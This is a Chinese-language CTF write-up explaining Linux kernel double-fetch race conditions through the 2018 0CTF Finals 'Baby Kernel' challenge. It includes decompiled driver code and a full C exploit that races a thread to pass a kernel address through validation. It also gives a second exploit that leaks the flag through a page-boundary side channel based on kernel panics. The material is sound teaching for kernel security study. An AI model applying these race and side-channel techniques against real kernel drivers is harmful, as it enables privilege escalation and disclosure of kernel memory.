跳转至

Double Fetch

概述

Double Fetch 直译就是 取值两次,直接理解就是在一次操作当中要两次(或是多次)重新获取某个对象的值,从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争,其可能出现在下面这种情况当中:

  • 有一大段数据要从用户空间传给内核空间,但是直接传送整块数据会造成较大的开销,故选择只向内核传送一个指向用户地址空间的指针
  • 在后续的操作当中内核需要多次通过该指针获取到用户空间的数据。

在 Linux 等现代操作系统中,虚拟内存地址通常被划分为内核空间和用户空间。内核空间负责运行内核代码、驱动模块代码等,权限较高。而用户空间运行用户代码,并通过系统调用进入内核完成相关功能。通常情况下,用户空间向内核传递数据时,内核先通过通过 copy_from_user 等拷贝函数将用户数据拷贝至内核空间进行校验及相关处理,但在输入数据较为复杂时,内核可能只引用其指针,而将数据暂时保存在用户空间进行后续处理。此时,该数据存在被其他恶意线程篡改风险,造成内核验证通过数据与实际使用数据不一致,导致内核代码执行异常。

一个典型的 Double Fetch 漏洞原理如下图所示,一个用户态线程准备数据并通过系统调用进入内核,该数据在内核中有两次被取用,内核第一次取用数据进行安全检查(如缓冲区大小、指针可用性等),当检查通过后内核第二次取用数据进行实际处理。而在两次取用数据之间,另一个用户态线程可创造条件竞争,对已通过检查的用户态数据进行篡改,在真实使用时造成访问越界或缓冲区溢出,最终导致内核崩溃或权限提升。

典型的Double Fetch原理图

2018 0CTF Finals Baby Kernel

题目分析

首先用 IDA 对驱动文件进行分析,可见 flag 是硬编码在驱动文件中的。

.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: baby_ioctl+2Ar
.data:0000000000000480                                         ; baby_ioctl+DBr ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488                 align 20h

驱动主要注册了一个 baby_ioctl 函数,其中包含两个功能。当 ioctl 中 cmd 参数为 0x6666 时,驱动将输出flag 的加载地址。当 ioctl 中 cmd 参数为 0x1337 时,首先进行三个校验,接着对用户输入的内容与硬编码的 flag 进行逐字节比较,当一致时通过 printk 将 flag 输出出来。

signed __int64 __fastcall baby_ioctl(__int64 a1, attr *a2)
{
  attr *v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  attr *v5; // [rsp-58h] [rbp-58h]

  _fentry__(a1, a2);
  v5 = v2;
  if ( (_DWORD)a2 == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( (_DWORD)a2 == 0x1337
         && !_chk_range_not_ok((__int64)v2, 16LL, *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && !_chk_range_not_ok(
               v5->flag_str,
               SLODWORD(v5->flag_len),
               *(_QWORD *)(__readgsqword((unsigned __int64)&current_task) + 4952))
         && LODWORD(v5->flag_len) == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( *(_BYTE *)(v5->flag_str + i) != flag[i] )
        return 0x16LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 0xELL;
  }
  return result;
}

而分析其检查函数,其中 _chk_range_not_ok 为检查指针及长度范围是否指向用户空间。通过对驱动文件功能的分析,可以得到用户输入的数据结构体如下:

struct flag
{
    char * flag_addr;
    int flag_len;
};

其中 flag_len 参数与 flag 的长度对比,在 .ko 文件中 flag 的长度为 33。

_chk_range_not_ok 检查的内容为:

  1. 输入的数据指针是否为用户态数据。
  2. 数据指针内flag_str是否指向用户态。
  3. 据指针内flag_len是否等于硬编码flag的长度。

解题思路

虽然 flag 存储的地址已知,但是位于内核地址空间当中,我们将之直接传给模块并不能通过验证,那么这里就考虑 double fetch——先传入一个用户地址空间上的合法地址,开另一个线程进行竞争不断修改其为内核空间 flag 的地址,只要有一次命中我们便能获得 flag。

首先我们需要利用提供的 cmd=0x6666 功能获取内核中 flag 的加载地址,在驱动中以 printk 输出的内容可以通过 dmesg 命令查看,在我们的 exp 中我们可以将 dmesg 的内容输出到文件中,再打开该文件进行读取。

接下来我们便能构造符合 cmd=0x1337 功能的数据结构,其中 flag_len 可以从硬编码中直接获取为 33, flag_str 指向一个用户空间地址。

最后我们创建一个恶意线程,不断的将 flag_str 所指向的用户态地址修改为 flag 的内核地址以制造竞争条件,从而使其通过驱动中的逐字节比较检查,输出 flag 内容。

Exploit

最终的 exp 如下:

/**
 * Copyright (c) 2021 arttnba3 <arttnba@gmail.com>
 * 
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
**/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <sys/ioctl.h>

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

#define log_success(msg)    puts(SUCCESS_MSG(msg))
#define log_info(msg)       puts(INFO_MSG(msg))
#define log_error(msg)      puts(ERROR_MSG(msg))

pthread_t race_thread;
void *flag_kaddr;
char fake_flag[0x100] = "flag{arttnba3_t3s7_f1@9!}";
int race_times = 0x1000;
int flag_not_found = 1;
struct chal_arg {
    char * flag_addr;
    int flag_len;
} flag = {
    .flag_addr = fake_flag,
    .flag_len = 33
};

void chal_print_flag(int fd)
{
    ioctl(fd, 0x6666);
}

void chal_verify_flag(int fd, struct chal_arg *arg)
{
    ioctl(fd, 0x1337, arg);
}

void* race_thread_fn(void *args)
{
    while (flag_not_found) {
        for (int i = 0; i < race_times; i++) {
            flag.flag_addr = flag_kaddr;
        }
    }

    return NULL;
}

void exploit(void)
{
    int fd, result_fd, addr_fd, flag_fd;
    char *tmp_buf, *flag_addr_addr, *flag_addr;

    fd = open("/dev/baby", O_RDWR);
    if (fd < 0) {
        perror(ERROR_MSG("[x] Unable to open challenge dev file"));
        exit(EXIT_FAILURE);
    }

    chal_print_flag(fd);
    system("dmesg | grep flag > /tmp/addr.txt");
    tmp_buf = (char*) malloc(0x1000);    
    addr_fd = open("/tmp/addr.txt", O_RDONLY);
    if (addr_fd < 0) {
        perror(ERROR_MSG("[x] Unable to open flag addr file"));
        exit(EXIT_FAILURE);
    }

    tmp_buf[read(addr_fd, tmp_buf, 0x1000)] = '\0';
    flag_addr_addr = strstr(tmp_buf, "Your flag is at ")
                     + strlen("Your flag is at ");
    flag_kaddr = (void*) strtoull(flag_addr_addr, (void*) (flag_addr_addr + 16), 16);
    printf(SUCCESS_MSG("[+] flag addr: ") "%p\n", flag_kaddr);

    pthread_create(&race_thread, NULL, race_thread_fn, NULL);

    while (flag_not_found) {
        for(int i = 0; i < race_times; i++) {
            flag.flag_addr = fake_flag;
            chal_verify_flag(fd, &flag);
        }

        system("dmesg | grep flag > /tmp/result.txt");
        result_fd = open("/tmp/result.txt", O_RDONLY);
        read(result_fd, tmp_buf, 0x1000);
        if (strstr(tmp_buf, "flag{")) {
            flag_not_found = 0;
        }
    }

    pthread_cancel(race_thread);

    log_success("[+] race done and flag got!");
    system("dmesg | grep -i flag > /tmp/flag.txt");
    flag_fd = open("/tmp/flag.txt", O_RDONLY);
    if (flag_fd < 0) {
        perror(ERROR_MSG("[x] Unable to open flag file"));
        exit(EXIT_FAILURE);
    }

    tmp_buf[read(flag_fd, tmp_buf, 0x1000)] = '\0';
    flag_addr = strstr(tmp_buf, "So here is it ")+strlen("So here is it ");
    printf(SUCCESS_MSG("[+] Got flag: "));
    fflush(stdout);
    for (int i = 0; flag_addr[i] && flag_addr[i] != '\n'; i++) {
        putchar(flag_addr[i]);
    }

    puts("");
}

int main(int argc, char **argv, char **envp)
{
    exploit();

    return 0;
}

Extra. 侧信道攻击

题目在进行比对时并没有检验 flag 地址的合法性,考虑如下内存布局:

/*
|                              |    <---- unallocated page
|                              |
|                              |
|------------------------------|
|                              |
|                              |
|                              |
|                              |    <---- page alloc by mmap
|                              |
|                              |
|                     flag{...X|
|------------------------------|
|                              |
|                              |
|                              |    <---- unallocated page
*/

我们将 flag 放在通过 mmap 分配而来的内存页的末尾,其最后一个字符 X 是我们将要爆破的未知字符。

对于待比对字符 X 而言,若是比对失败则 ioctl 会直接返回,若是比对成功则指针移动到下一张内存页中进行解引用,此时将会直接造成 kernel panic

由于 flag 被硬编码在 .ko 文件中,故通过是否造成 kernel panic 可以逐字符爆破 flag 内容。

ASCII 可见字符 95 个,flag 长度 33,开头 flag{ 末尾 } 减去6个字符,最多只需要爆破 26 * 95 = 2470 次便能够获得 flag。

比较需要耐心(因为打远程传文件很麻烦),这里附上一个比较方便的 exp,不用每次打都重新编译一次,只需要将 flag 作为参数传进去就行了:

/**
 * Copyright (c) 2021 arttnba3 <arttnba@gmail.com>
 * 
 * This work is licensed under the terms of the GNU GPL, version 2 or later.
**/

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include<sys/mman.h>
#include<sys/types.h>
#include <sys/ioctl.h>

#define SUCCESS_MSG(msg)    "\033[32m\033[1m" msg "\033[0m"
#define INFO_MSG(msg)       "\033[34m\033[1m" msg "\033[0m"
#define ERROR_MSG(msg)      "\033[31m\033[1m" msg "\033[0m"

struct chal_arg {
    char *flag_addr;
    int flag_len;
} flag = { .flag_len = 33};

void chal_print_flag(int fd)
{
    ioctl(fd, 0x6666);
}

void chal_verify_flag(int fd, struct chal_arg *arg)
{
    ioctl(fd, 0x1337, arg);
}

int main(int argc, char ** argv, char ** envp)
{
    int fd, flag_len;
    char * buf, *flag_addr;

    if (argc < 2) {
        puts("usage: ./exp flag");
        exit(-1);
    }

    flag_len = strlen(argv[1]);

    fd = open("/dev/baby", O_RDWR);
    if (fd < 0) {
        perror(ERROR_MSG("[x] Unable to open challenge dev file"));
        exit(EXIT_FAILURE);
    }

    buf = mmap(
        NULL,
        0x1000,
        PROT_READ | PROT_WRITE,
        MAP_ANONYMOUS | MAP_SHARED,
        -1,
        0
    );
    flag_addr = buf + 0x1000 - flag_len;
    memcpy(flag_addr, argv[1], flag_len);
    flag.flag_addr = flag_addr;

    chal_verify_flag(fd, &flag);

    return 0;
}

其他

此题在环境配置时,有几点需要注意。

首先, 需关闭 dmesg_restrict ,否则无法查看 printk 信息,具体操作是在启动脚本中加入:

echo 0 > /proc/sys/kernel/dmesg_restrict

其次,配置 QEMU 启动参数时, 不要开启 SMAP 保护,否则在内核中直接访问用户态数据会引起 kerne panic

还有,配置 QEMU 启动参数时,需要配置为非单核单线程启动,否则无法触发题目中的竞争条件。具体操作是在启动参数中增加其内核数选项,如:

-smp 2,cores=2,threads=1  \

在启动后,可通过 /proc/cpuinfo 查看当前运行的内核数及超线程数。

Reference

https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/

https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/wang-pengfei

https://veritas501.space/2018/06/04/0CTF%20final%20baby%20kernel/

http://p4nda.top/2018/07/20/0ctf-baby/

https://www.freebuf.com/articles/system/156485.html